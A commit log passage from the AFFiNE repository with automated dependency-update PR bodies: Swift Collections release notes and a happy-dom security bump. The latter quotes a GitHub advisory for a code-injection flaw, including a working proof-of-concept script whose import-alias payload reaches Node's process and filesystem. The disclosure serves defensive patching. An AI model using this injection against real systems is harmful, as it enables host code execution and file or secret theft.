bugs uncovered since 1.7.0. #### What's Changed - Housekeeping: replace repo-level CODE_OF_CONDUCT by [@​apple-ospo](https://redirect.github.com/apple-ospo)\[bot] in [#​738](https://redirect.github.com/apple/swift-collections/pull/738) - \[HashTreeCollections] Fix union misplacing items pushed into a new child by [@​Denimworld12](https://redirect.github.com/Denimworld12) in [#​737](https://redirect.github.com/apple/swift-collections/pull/737) - \[BitCollections] Fix BitSet.Counted.update(with:) not maintaining the cached count by [@​Denimworld12](https://redirect.github.com/Denimworld12) in [#​736](https://redirect.github.com/apple/swift-collections/pull/736) - validateContainer: report a mis-sized expectation instead of trapping or ignoring it by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​735](https://redirect.github.com/apple/swift-collections/pull/735) - Avoid using `Ref` in Swift 6.4 by [@​lorentey](https://redirect.github.com/lorentey) in [#​739](https://redirect.github.com/apple/swift-collections/pull/739) - Version 1.7.1 release preparations by [@​lorentey](https://redirect.github.com/lorentey) in [#​740](https://redirect.github.com/apple/swift-collections/pull/740) #### New Contributors - [@​apple-ospo](https://redirect.github.com/apple-ospo)\[bot] made their first contribution in [#​738](https://redirect.github.com/apple/swift-collections/pull/738) - [@​Denimworld12](https://redirect.github.com/Denimworld12) made their first contribution in [#​737](https://redirect.github.com/apple/swift-collections/pull/737) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.0...1.7.1> ### [`v1.7.0`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.0): Swift Collections 1.7.0 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.6.0...1.7.0) This is a feature release raising the minimum required toolchain to Swift 6.2. It formalizes `Equatable`/`Hashable` conformances on the ownership-aware container types, adds a new stable `OrderedSet` operation, and continues to develop the experimental ownership-aware container model behind the `UnstableContainersPreview` trait. It also includes a number of performance improvements and bug fixes. #### New stable APIs ##### `OrderedCollections` - `OrderedSet.replace(at:with:)` replaces the member at a given index with a new element, returning the element that was removed. Replacing a member with an element that already exists elsewhere in the set is a runtime error. Expected amortized O(1) complexity. ([#​669](https://redirect.github.com/apple/swift-collections/pull/669)) ##### `BasicContainers`, `DequeModule` - On a Swift 6.4 or later toolchain, `RigidArray`, `UniqueArray`, `RigidDeque`, `UniqueDeque`, `RigidSet`, `UniqueSet`, `RigidDictionary`, and `UniqueDictionary` now formally conform to `Equatable` and `Hashable`. (The underlying `==` and `hash(into:)` members were already available in 1.6.0; what is new is the conformances themselves.) Building with Swift 6.2 or 6.3 still gets you the `==`/`hash(into:)` members, but no conformances. - `RigidDeque.isTriviallyIdentical(to:)` and `UniqueDeque.isTriviallyIdentical(to:)` are now available for every element type, including noncopyable ones. Previously these required `Element: Equatable`. - New spelling for the capacity, cloning, and range-replacement operations; see **Renamed APIs** below. The new names are the stable spelling going forward; the old ones remain as deprecated shims. ##### `Collections` umbrella module The `Collections` module is back to re-exporting its constituent modules with `@_exported import`, instead of restating each type as a `public typealias` ([#​716](https://redirect.github.com/apple/swift-collections/pull/716)). A single `import Collections` therefore now brings in the *entire* contents of `BitCollections`, `DequeModule`, `HashTreeCollections`, `HeapModule`, and `OrderedCollections` — including types that previously were not exposed in the `Collections` module, such as `RigidDeque` and `UniqueDeque`. This allows `import Collections` to work even for clients that have `MemberImportVisibility` enabled. #### Renamed APIs `BasicContainers` and `DequeModule` are stable modules, so every rename below ships with a deprecated shim carrying `@available(*, deprecated, renamed:)`. Existing code keeps compiling, and Xcode/`swift build` will offer fix-its. | Old name | New name | | ------------------------------------------ | ---------------------------------------------------------------- | | `reallocate(capacity:)` | `setCapacity(_:)` | | `copy()` | `clone()` | | `copy(capacity:)` | `clone(capacity:)` | | `UniqueDeque.init(capacity:)` | `init(minimumCapacity:)` | | `replace(_:with:)` and friends | `replaceSubrange(_:copying:)` / `(_:moving:)` / `(_:consuming:)` | | `replace(_:count:initializingWith:)` | `replaceSubrange(_:addingCount:initializingWith:)` | | `append(count:initializingWith:)` | `append(addingCount:initializingWith:)` | | `insert(count:at:initializingWith:)` | `insert(addingCount:at:initializingWith:)` | | `nextSpan(after:maximumCount:)` | `nextSpan(after:maxCount:)` | | `nextMutableSpan(after:maximumCount:)` | `nextMutableSpan(after:maxCount:)` | | `previousSpan(before:maximumCount:)` | `previousSpan(before:maxCount:)` | | `RigidSet.insert(count:initializingWith:)` | `insert(addingCount:initializingWith:)` | | `RigidSet.insert(count:from:)` | `insert(addingCount:from:)` | Most of the new names sync this package with the API names recently adopted in the Standard Library in `Iterable` and `UniqueArray`. #### Performance improvements - **`BitSet.count` is roughly 3× faster.** ([#​702](https://redirect.github.com/apple/swift-collections/pull/702)) - `_Word.allBits` is now `@inlinable`, which unblocks specialization in several bit-twiddling paths. ([#​704](https://redirect.github.com/apple/swift-collections/pull/704)) - `OrderedSet.reverse()` now reverses the hash table in place instead of rebuilding it from scratch. ([#​668](https://redirect.github.com/apple/swift-collections/pull/668)) - `UniqueArray` no longer performs duplicate bounds checks on subscript and mutation paths. ([#​699](https://redirect.github.com/apple/swift-collections/pull/699)) - `RigidArray`'s internal representation was split from a `(buffer pointer, count)` pair into separate pointer, capacity, and count fields. This exposes an unused bit pattern for the compiler to use for representing nil values in optional wrapped arrays, avoiding having to add an out-of-line discriminator. The representation of `RigidDictionary` was adjusted in a similar way. ([#​692](https://redirect.github.com/apple/swift-collections/pull/692), [#​717](https://redirect.github.com/apple/swift-collections/pull/717)) - `Deque` and the `TreeSet`/`TreeDictionary` types are no longer using a `malloc_size` to make use of any "extra" storage allocated. ([#​700](https://redirect.github.com/apple/swift-collections/pull/700)) - `OrderedDictionary.replaceElement` now uses `exchange(_:with:)` on its equal-key path to avoid copying the outgoing value. ([#​688](https://redirect.github.com/apple/swift-collections/pull/688), [#​703](https://redirect.github.com/apple/swift-collections/pull/703)) - `RigidDictionary` now stores a sentinel value rather than `nil` for its values pointer, removing a branch from value access. #### Notable bug fixes - **`BitCollections`:** `BitSet.isEqualSet(to:)` returned the wrong result when given an empty `Range<Int>`. A non-empty bit set incorrectly compared equal to an empty range. ([#​718](https://redirect.github.com/apple/swift-collections/pull/718)) - **`SortedCollections`** (`UnstableSortedCollections` trait): `SortedDictionary.Keys`, `.Values`, and `.SubSequence` had inverted `==` implementations, so equal instances compared unequal and vice versa. `SubSequence` equality also now uses tuple comparison rather than an element-by-element loop with the wrong short-circuit. ([#​697](https://redirect.github.com/apple/swift-collections/pull/697)) - **Embedded Swift:** the `_UniqueCollection` fast paths in `BitSet.isEqualSet(to:)`, `OrderedSet.isEqualSet(to:)`, `TreeSet.isEqualSet(to:)`, and `TreeSet.symmetricDifference(_:)` rely on dynamic conformance checks, which are unavailable in embedded Swift. They are now compiled out with `#if !$Embedded`. ([#​715](https://redirect.github.com/apple/swift-collections/pull/715)) #### Experimental container protocols (`UnstableContainersPreview` trait) This is the first swift-collections release that ships a fully operational container protocol hierarchy, including some massive updates. However, things are still subject to change, and we expect to need to make breaking changes as we gain experience using the new constructs. Nothing under this trait is stable API, and source-breaking changes land without deprecations. **New:** [`Documentation/Container-design.md`](Documentation/Container-design.md) is a work-in-progress document describing the container design implemented in the `ContainersPreview` module. As of the 1.7.0 release, it explains some of the design decisions behind the container protocols, up to and including `MutableContainer`. (The `Producer` hierarchy and the range-replaceable container protocol family is not yet fully covered; we expect those parts to be fleshed out later.) ##### New `SpanPreview` module `InputSpan` has moved out of `ContainersPreview` into a new `SpanPreview` module. `SpanPreview` holds span-adjacent primitives that are expected to graduate to the standard library, and it is entirely empty unless the `UnstableContainersPreview` trait is enabled. It also ships basic `MutableSpan`/`OutputSpan` helpers for producing and consuming `InputSpan`s. Some core APIs on the container types require the use of `InputSpan`, and this change lets these APIs continue to live in their defining module. `SpanPreview` is explicitly not part of the package's stable public API, as we expect to soon replace it with the Standard Library's own `InputSpan` definition. ##### Dependency inversion `ContainersPreview` and the concrete container modules have swapped places in the dependency graph. `BasicContainers` and `DequeModule` no longer depend on `ContainersPreview`; instead `ContainersPreview` depends on them, and all container conformances for the concrete types now live there, under `Sources/ContainersPreview/Conformances/`. ([`842f125c`](https://redirect.github.com/apple/swift-collections/commit/842f125c)) **Source-breaking for trait adopters:** getting `Container` (etc.) conformances for `RigidArray`, `UniqueArray`, `RigidDeque`, `UniqueDeque`, `RigidSet`, or `UniqueSet` now requires `import ContainersPreview`. Importing just `BasicContainers` or `DequeModule` gets you the types and their intrinsic operations, but not the protocol conformances. ##### Standard library adoption - The locally-defined `BorrowingSequence_`/`BorrowingIteratorProtocol_` protocols have been replaced by the standard library's `Iterable` and `BorrowingIteratorProtocol`. The package's own definitions have been removed. ([#​657](https://redirect.github.com/apple/swift-collections/pull/657)) - Similarly, `Ref` and `MutableRef` now ship in the Standard Library rather than being declared in `ContainersPreview`. (`UniqueBox` is part of the package's stable API, so its definition continues to remain available. We expect to deprecate it in a future package release.) ##### New protocols - Removal and consumption operations were spun off from `RangeReplaceableContainer` into the new parent protocol `DrainableContainer`. This protocol models containers supporting partial in-place consumption (and removal) of their contents. Range-replacement operations now all return indices to the subranges they affected, so that we can perform insertions/removals without losing our place in the container. (This is particularly important for linked lists and similar linked data structures capable of performing O(1) insertions/removals.) ([#​723](https://redirect.github.com/apple/swift-collections/pull/723)) - `CountedProducer` refines `Producer` adding a precise count of remaining elements. `Drain` now refines `CountedProducer`. - `ContainerDrain` refines `Drain` to allow retrieving a valid index after the items have been drained. - `RangeExpression2` now refines the standard `RangeExpression`, so that we can use the standard range expression notation over container types. (The name (as well as the protocol itself) is a placeholder, so that we have something that works while we are looking for a better solution.) ([#​22a94a97](https://redirect.github.com/apple/swift-collections/commit/22a94a97)) ##### Reworked core requirements - `Container`'s core primitive is now `nextSpan(after:maxCount:limitedBy:)`, with optional delimiter arguments; the bidirectional counterpart is `spanBoundary(before:maxDistance:limitedBy:)`. - `Container` gained `makeBorrowingIterator(from:)`, `makeBorrowingIterator(from:to:)`, and `currentIndex(of:)` requirements. - `Container` now expects its indices to be `Comparable` again, as we have found a way to provide them in conforming linked list types. ([#​727](https://redirect.github.com/apple/swift-collections/pull/727)) - `[Mutable]Container` gained subscript requirements expressed with borrow and mutate accessors. - `Producer.generate(into:)` switched to saturating semantics — it now fills the destination when possible, unless it reaches its end or throws. ([#​728](https://redirect.github.com/apple/swift-collections/pull/728)) ##### New algorithms - `MutableContainer` gained bulk update operations (`updateSubrange` and friends), in both mutating and copying forms, plus a default `swapAt` implementation for copyable elements. ([#​724](https://redirect.github.com/apple/swift-collections/pull/724)) - `PermutableContainer` gained `reverse()`, `shuffle()`, `moveSubrange(_:to:)`, and a heap sort. - `Producer` gained `UnfoldProducer` (an unfold-style generator), and - `BorrowingIteratorProtocol` gained `mapError`, and `map` was fixed; `_map2` and `_map3` were added alongside it to demonstrate different throwing behaviors. Error handling across the producer/drain algorithms was reviewed. - New `Container` conformances for `Span`, `MutableSpan`, `OutputSpan`, and `InputSpan`. #### Experimental hashed containers (`UnstableHashedContainers` trait) These types are functional, but they still have known usability gaps in their API surface that prevents us from declaring them API stable. - The trait no longer needs `UnstableContainersPreview` to be enabled alongside it. [`70dc2389`](https://redirect.github.com/apple/swift-collections/commit/70dc2389)) - `RigidSet` and `UniqueSet` now conform to `Container`. ([#​713](https://redirect.github.com/apple/swift-collections/pull/713)) - `RigidDictionary` and `UniqueDictionary` gained a `keys` property and `mutableValue(forKey:)`, which yields in-place mutable access to a stored value. ([#​698](https://redirect.github.com/apple/swift-collections/pull/698), #### Testing and infrastructure - **`checkSetAlgebra`**, a new law checker in `_CollectionsTestSupport`, verifies set-like types against the `SetAlgebra` laws — and additionally checks each mutating operation against its non-mutating twin. ([#​719](https://redirect.github.com/apple/swift-collections/pull/719), [#​730](https://redirect.github.com/apple/swift-collections/pull/730)) - A **`Container` conformance validator** has been added, along the lines of the existing `Sequence`/`Collection` conformance checkers, and is now applied to `RigidSet`, `UniqueSet`, `RigidDeque`, and `UniqueDeque`. ([#​713](https://redirect.github.com/apple/swift-collections/pull/713), [#​720](https://redirect.github.com/apple/swift-collections/pull/720)) - New tests cover `Deque`'s storage allocation behavior and `MutableContainer`'s requirements (the latter uncovered and fixed several issues). ([#​722](https://redirect.github.com/apple/swift-collections/pull/722)) - We added a first draft of a `swift-format` configuration for this package. - CI workflows were updated (`swiftlang/github-workflows` 0.0.11 → 0.0.15, `actions/checkout` 6 → 7), and the matrix was simplified now that 6.0/6.1 are out of support. - The unstable Xcode project had its groups converted to folders. #### Detailed List of Changes - Run heap node tests in release by [@​sorinc03](https://redirect.github.com/sorinc03) in [#​662](https://redirect.github.com/apple/swift-collections/pull/662) - \[BasicContainers] Rename reallocate to setCapacity for Rigid and UniqueArray by [@​Azoy](https://redirect.github.com/Azoy) in [#​667](https://redirect.github.com/apple/swift-collections/pull/667) - Define SwiftStdlib 6.4 with actual version numbers by [@​lorentey](https://redirect.github.com/lorentey) in [#​670](https://redirect.github.com/apple/swift-collections/pull/670) - Update `BorrowingSequence` to `Iterable` by [@​natecook1000](https://redirect.github.com/natecook1000) in [#​657](https://redirect.github.com/apple/swift-collections/pull/657) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.11 to 0.0.12 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​678](https://redirect.github.com/apple/swift-collections/pull/678) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.11 to 0.0.12 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​677](https://redirect.github.com/apple/swift-collections/pull/677) - Fix [@​inlinable](https://redirect.github.com/inlinable) deinit incompatibility with library evolution (HashTree/Sorted storage) by [@​itej13](https://redirect.github.com/itej13) in [#​679](https://redirect.github.com/apple/swift-collections/pull/679) - Bump actions/checkout from 6 to 7 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​672](https://redirect.github.com/apple/swift-collections/pull/672) - \[OrderedCollections] OrderedSet.reverse(): update the hash table in place by [@​inju2403](https://redirect.github.com/inju2403) in [#​668](https://redirect.github.com/apple/swift-collections/pull/668) - Fix superset set algebra doc comments by [@​wjdtjq6](https://redirect.github.com/wjdtjq6) in [#​674](https://redirect.github.com/apple/swift-collections/pull/674) - Fix typos in doc comments and a DocC article by [@​wjdtjq6](https://redirect.github.com/wjdtjq6) in [#​673](https://redirect.github.com/apple/swift-collections/pull/673) - \[OrderedCollections] Add OrderedSet.replace(\_:at:) by [@​inju2403](https://redirect.github.com/inju2403) in [#​669](https://redirect.github.com/apple/swift-collections/pull/669) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.12 to 0.0.13 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​689](https://redirect.github.com/apple/swift-collections/pull/689) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.12 to 0.0.13 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​690](https://redirect.github.com/apple/swift-collections/pull/690) - \[ContainersPreview] Update Container protocols by [@​lorentey](https://redirect.github.com/lorentey) in [#​682](https://redirect.github.com/apple/swift-collections/pull/682) - \[RigidArray/UniqueArray] Split up the buffer pointer in RIgidArray by [@​Azoy](https://redirect.github.com/Azoy) in [#​692](https://redirect.github.com/apple/swift-collections/pull/692) - Fix stale paths in internals documentation by [@​ZayanKhan-12](https://redirect.github.com/ZayanKhan-12) in [#​691](https://redirect.github.com/apple/swift-collections/pull/691) - More updates to the container model by [@​lorentey](https://redirect.github.com/lorentey) in [#​694](https://redirect.github.com/apple/swift-collections/pull/694) - More ContainersPreview updates by [@​lorentey](https://redirect.github.com/lorentey) in [#​695](https://redirect.github.com/apple/swift-collections/pull/695) - \[Rigid/UniqueDictionary] Add mutableValue(forKey:) to new dictionary types by [@​Azoy](https://redirect.github.com/Azoy) in [#​698](https://redirect.github.com/apple/swift-collections/pull/698) - \[OrderedCollections] Share OrderedSet's replace primitive with OrderedDictionary.replaceElement by [@​inju2403](https://redirect.github.com/inju2403) in [#​688](https://redirect.github.com/apple/swift-collections/pull/688) - Fix inverted SortedDictionary Keys/Values/SubSequence equality by [@​Hashim1999164](https://redirect.github.com/Hashim1999164) in [#​697](https://redirect.github.com/apple/swift-collections/pull/697) - \[Deque/HashTree] Remove references to ManagedBuffer.capacity and use the given minCapacity by [@​Azoy](https://redirect.github.com/Azoy) in [#​700](https://redirect.github.com/apple/swift-collections/pull/700) - \[Rigid/UniqueArray] Eliminate some duplicate bounds checks for UniqueArray by [@​Azoy](https://redirect.github.com/Azoy) in [#​699](https://redirect.github.com/apple/swift-collections/pull/699) - Mark `_Word.allBits` as `@inlinable` by [@​dnadoba](https://redirect.github.com/dnadoba) in [#​704](https://redirect.github.com/apple/swift-collections/pull/704) - Improve `BitSet.count` performance by \~3x by [@​dnadoba](https://redirect.github.com/dnadoba) in [#​702](https://redirect.github.com/apple/swift-collections/pull/702) - \[workflows] Update CI workflows by [@​lorentey](https://redirect.github.com/lorentey) in [#​706](https://redirect.github.com/apple/swift-collections/pull/706) - Name the documented arguments the way the declarations name them by [@​karpovantonme](https://redirect.github.com/karpovantonme) in [#​701](https://redirect.github.com/apple/swift-collections/pull/701) - \[OrderedCollections] Use exchange(\_:with:) in replaceElement's equal-key path by [@​inju2403](https://redirect.github.com/inju2403) in [#​703](https://redirect.github.com/apple/swift-collections/pull/703) - \[SortedCollections] Name the documented arguments the way the declarations name them by [@​karpovantonme](https://redirect.github.com/karpovantonme) in [#​705](https://redirect.github.com/apple/swift-collections/pull/705) - More container updates by [@​lorentey](https://redirect.github.com/lorentey) in [#​707](https://redirect.github.com/apple/swift-collections/pull/707) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.14 to 0.0.15 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​712](https://redirect.github.com/apple/swift-collections/pull/712) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.14 to 0.0.15 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​711](https://redirect.github.com/apple/swift-collections/pull/711) - Conform RigidSet/UniqueSet to Container and add Container validator by [@​lorentey](https://redirect.github.com/lorentey) in [#​713](https://redirect.github.com/apple/swift-collections/pull/713) - Disable `_UniqueCollection` fast paths in embedded Swift by [@​lorentey](https://redirect.github.com/lorentey) in [#​715](https://redirect.github.com/apple/swift-collections/pull/715) - Reinstate exported imports in Collections module by [@​lorentey](https://redirect.github.com/lorentey) in [#​716](https://redirect.github.com/apple/swift-collections/pull/716) - \[RigidDictionary] Store a sentinel value for values ptr if null by [@​Azoy](https://redirect.github.com/Azoy) in [#​717](https://redirect.github.com/apple/swift-collections/pull/717) - \[BitSet] Fix isEqualSet(to: Range<Int>) for empty ranges by [@​dylanpulver](https://redirect.github.com/dylanpulver) in [#​718](https://redirect.github.com/apple/swift-collections/pull/718) - Refactor DrainableContainer/RangeReplaceableContainer/DynamicContainer by [@​lorentey](https://redirect.github.com/lorentey) in [#​723](https://redirect.github.com/apple/swift-collections/pull/723) - MutableContainer: Add some bulk update operations by [@​lorentey](https://redirect.github.com/lorentey) in [#​724](https://redirect.github.com/apple/swift-collections/pull/724) - Container: Reinstate requirement for Comparable indices by [@​lorentey](https://redirect.github.com/lorentey) in [#​727](https://redirect.github.com/apple/swift-collections/pull/727) - Add checkSetAlgebra, a law checker for set-like types by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​719](https://redirect.github.com/apple/swift-collections/pull/719) - Fix typos in documentation and comments by [@​eliorpom-cmd](https://redirect.github.com/eliorpom-cmd) in [#​725](https://redirect.github.com/apple/swift-collections/pull/725) - \[DequeModule] Add tests for Deque's storage allocation behavior by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​722](https://redirect.github.com/apple/swift-collections/pull/722) - Unbacktick parameter names so DocC binds the parameter docs by [@​hxperl](https://redirect.github.com/hxperl) in [#​721](https://redirect.github.com/apple/swift-collections/pull/721) - Validate the Container conformance of RigidDeque and UniqueDeque by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​720](https://redirect.github.com/apple/swift-collections/pull/720) - `Producer.generate(into:)`: Switch to saturating semantics by [@​lorentey](https://redirect.github.com/lorentey) in [#​728](https://redirect.github.com/apple/swift-collections/pull/728) - Check the mutating form\* twins against their non-mutating originals by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​730](https://redirect.github.com/apple/swift-collections/pull/730) - 1.7.0 release preparations by [@​lorentey](https://redirect.github.com/lorentey) in [#​729](https://redirect.github.com/apple/swift-collections/pull/729) - Finalize the 1.7.0 release by [@​lorentey](https://redirect.github.com/lorentey) in [#​731](https://redirect.github.com/apple/swift-collections/pull/731) #### New Contributors - [@​sorinc03](https://redirect.github.com/sorinc03) made their first contribution in [#​662](https://redirect.github.com/apple/swift-collections/pull/662) - [@​itej13](https://redirect.github.com/itej13) made their first contribution in [#​679](https://redirect.github.com/apple/swift-collections/pull/679) - [@​wjdtjq6](https://redirect.github.com/wjdtjq6) made their first contribution in [#​674](https://redirect.github.com/apple/swift-collections/pull/674) - [@​ZayanKhan-12](https://redirect.github.com/ZayanKhan-12) made their first contribution in [#​691](https://redirect.github.com/apple/swift-collections/pull/691) - [@​Hashim1999164](https://redirect.github.com/Hashim1999164) made their first contribution in [#​697](https://redirect.github.com/apple/swift-collections/pull/697) - [@​karpovantonme](https://redirect.github.com/karpovantonme) made their first contribution in [#​701](https://redirect.github.com/apple/swift-collections/pull/701) - [@​dylanpulver](https://redirect.github.com/dylanpulver) made their first contribution in [#​718](https://redirect.github.com/apple/swift-collections/pull/718) - [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) made their first contribution in [#​719](https://redirect.github.com/apple/swift-collections/pull/719) - [@​eliorpom-cmd](https://redirect.github.com/eliorpom-cmd) made their first contribution in [#​725](https://redirect.github.com/apple/swift-collections/pull/725) - [@​hxperl](https://redirect.github.com/hxperl) made their first contribution in [#​721](https://redirect.github.com/apple/swift-collections/pull/721) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.6.0...1.7.0> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
b2e56529ee | chore: improve ci (#15743) | ||
|
|
c4573551ce |
chore: bump up happy-dom version to v21 [SECURITY] (#15739)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^20.3.0` → `^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |  |  | | [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^20.0.0` → `^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |  |  | --- ### Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution [CVE-2026-115895](https://nvd.nist.gov/vuln/detail/CVE-2026-115895) / [GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79) <details> <summary>More information</summary> #### Details ##### Summary The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript. As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed. This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context. These issues were confirmed through the public `Window` and `<script type="module">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem. ##### Confirmed affected versions The PoC was directly tested against: - `happy-dom@17.0.0` - `happy-dom@20.0.0` - `happy-dom@20.1.0` - `happy-dom@20.14.5` The same PoC does not trigger on `happy-dom@16.8.1`. The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing. Suggested affected range: ```text >= 17.0.0, <= 20.14.5 ``` No patched version is currently available. ##### Preconditions - JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`. - Attacker-controlled HTML or module source is processed by Happy DOM. - This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML. ##### Technical details In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias: ```ts const nameParts = part.trim().split(/\s+as\s+/); const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const name = nameParts[0].replace(/["']/g, ''); if (alias && name) { properties.push({ name, alias }); } ``` Unlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier. It is subsequently inserted directly into generated binding syntax: ```ts newCodeStart += `let {${properties .map((property) => property.alias ? `"${property.name}": ${property.alias}` : property.name ) .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`; ``` Consider the following source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token. Happy DOM instead transforms it into the equivalent of: ```js let { "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } = $happy_dom.imports.get('https://poc.local/dep.json'); ``` This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes. The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports: ```ts if (!match[7] || match[7] === 'esm') { resolvableCircularImports.push({ url, properties }); } ``` Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid. Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs: ```js globalThis.constructor.constructor(`return process`)() .getBuiltinModule(`node:fs`) .mkdirSync( globalThis.constructor.constructor(`return process`)().cwd() + `/HAPPY_DOM_RCE_PROOF` ) ``` ##### Proof of concept The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`. ##### 1. Create `package.json` ```json { "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } } ``` ##### 2. Create `dep.json` ```json {} ``` ##### 3. Create `payload.mjs` This file is used as a control to demonstrate that a native ECMAScript parser rejects the source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` ##### 4. Create `poc.mjs` ```js import { Window } from 'happy-dom'; import { existsSync, rmSync } from 'node:fs'; import { resolve } from 'node:path'; const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF'); rmSync(proofDirectory, { recursive: true, force: true }); const window = new Window({ url: 'https://poc.local/', settings: { enableJavaScriptEvaluation: true, suppressCodeGenerationFromStringsWarning: true, fetch: { virtualServers: [ { url: 'https://poc.local/', directory: process.cwd() } ] } } }); const script = window.document.createElement('script'); script.type = 'module'; script.textContent = ` import { missing as injected = globalThis.constructor.constructor(\`return process\`)() .getBuiltinModule(\`node:fs\`) .mkdirSync( globalThis.constructor.constructor(\`return process\`)().cwd() + \`/HAPPY_DOM_RCE_PROOF\` ) } from './dep.json' with { type: 'json' }; `; window.document.body.appendChild(script); await window.happyDOM.waitUntilComplete(); if (!existsSync(proofDirectory)) { console.error('[-] Exploit failed: proof directory was not created.'); console.error( window.happyDOM.virtualConsolePrinter.readAsString() ); process.exitCode = 1; } else { console.log(`[+] Host filesystem reached: ${proofDirectory}`); } await window.happyDOM.close(); ``` ##### 5. Run the control test ```console npm install node --check payload.mjs ``` Expected result: ```text SyntaxError: Unexpected token '=' ``` This confirms that the source is not valid ESM. ##### 6. Run the Happy DOM PoC ```console node poc.mjs ``` Expected result: ```text [+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF ``` The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem. The PoC was also verified inside a `node:24-alpine` Docker container, where it created: ```text /poc/HAPPY_DOM_RCE_PROOF ``` ##### Impact An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript. This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected. The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process. ##### Relationship to CVE-2026-33943 CVE-2026-33943 covers expression injection through a local export declaration: ```js export { attacker_expression } ``` Its fix added identifier validation to the `importName` used by the `export { ... }` handler: ```ts if ( exportName && importName && VALID_VARIABLE_NAME_REGEXP.test(importName) ) { // ... } ``` This report uses a different parsing and code-generation path: ```js import { name as malicious_alias } from './module'; ``` The unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943. The issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`. ##### Suggested fix Validate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` 